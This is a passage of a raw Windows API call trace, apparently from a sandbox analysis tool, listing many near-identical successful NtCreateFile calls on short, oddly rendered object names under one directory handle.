ObjectName="Ꭽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.208] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.208] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎇ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.208] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎉ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.209] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.209] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎑\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.210] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎗\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.210] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎙\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.210] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎛\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.211] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᝿\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.212] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ខ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.212] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.213] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚑ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.213] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.214] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.214] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.215] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.215] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.216] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.216] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.217] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.217] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭱ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.218] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭻ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.219] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭳ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.219] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.219] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.220] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭵ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.220] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭷ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.221] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.221] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.221] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.224] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.224] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.225] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.225] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.225] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.226] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.226] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.226] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.227] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.227] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.228] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.229] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.229] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.230] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.230] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.230] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.231] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.231] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.416] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="៸\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.417] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="៼\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.418] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, 